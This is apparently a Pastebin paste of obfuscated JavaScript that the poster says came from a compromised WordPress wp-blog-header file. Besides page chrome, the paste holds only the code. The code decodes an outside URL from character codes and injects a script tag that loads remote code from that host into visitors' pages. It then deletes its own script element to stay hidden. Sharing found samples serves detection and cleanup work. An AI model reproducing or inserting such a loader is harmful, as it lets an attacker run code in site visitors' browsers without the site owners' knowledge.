Advertisement
apc0243

Malicious JS code resulting from WP wp-blog-headerp.php

May 15th, 2023
356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var q = b;
  2.  
  3. function a() {
  4.     var r = ['coll', '13368123tmzzBY', '10pGMVfl', 'remove', 'head', 'appendChild', '948747dUIjuX', 'parentNode', 'src', 'insertBefore', 'pt[', 'querySelector', '2229544tzYEKK', '322jtuOfV', '133222pVrQry', '818428usZefP', 'createElement', '1485380zQiyOr', 'getElementsByTagName', '5YSDUMY', '21414LOUldK', 'ect', 'fromCharCode'];
  5.     a = function() {
  6.         return r;
  7.     };
  8.     return a();
  9. }(function(c, e) {
  10.     var o = b,
  11.         f = c();
  12.     while (!![]) {
  13.         try {
  14.             var g = parseInt(o('0x10c')) / 0x1 * (-parseInt(o('0x107')) / 0x2) + -parseInt(o('0xff')) / 0x3 + parseInt(o('0x108')) / 0x4 + -parseInt(o('0x10a')) / 0x5 + -parseInt(o('0x10d')) / 0x6 * (parseInt(o('0x106')) / 0x7) + -parseInt(o('0x105')) / 0x8 + parseInt(o('0x111')) / 0x9 * (parseInt(o('0x112')) / 0xa);
  15.             if (g === e) break;
  16.             else f['push'](f['shift']());
  17.         } catch (h) {
  18.             f['push'](f['shift']());
  19.         }
  20.     }
  21. }(a, 0x496a3));
  22.  
  23. function b(c, d) {
  24.     var e = a();
  25.     return b = function(f, g) {
  26.         f = f - 0xff;
  27.         var h = e[f];
  28.         return h;
  29.     }, b(c, d);
  30. }
  31.  
  32. function isScriptLoaded(c) {
  33.     var p = b;
  34.     return Boolean(document[p('0x104')]('sc' + 'ri' + p('0x103') + 'sr' + 'c=\x22' + c + '\x22]'));
  35. }
  36. var bd = 'ht' + String[q('0x10f')](0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x69, 0x73, 0x74, 0x69, 0x63, 0x2e, 0x73) + 'c' + 'ri' + 'pt' + String[q('0x10f')](0x73, 0x70, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x2e) + 'co' + String[q('0x10f')](0x6d, 0x2f) + q('0x110') + '' + q('0x10e');
  37. if (isScriptLoaded(bd) === ![]) {
  38.     var d = document,
  39.         s = d[q('0x109')]('sc' + 'r' + 'ip' + 't');
  40.     s[q('0x101')] = bd, document['currentScript'] ? document['currentScript'][q('0x100')] !== null && document['currentScript'][q('0x100')][q('0x102')](s, document['currentScript']) : d[q('0x10b')](q('0x114'))[0x0] !== null && d[q('0x10b')](q('0x114'))[0x0][q('0x115')](s);
  41. }
  42. document['currentScript'] && document['currentScript'][q('0x113')]();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement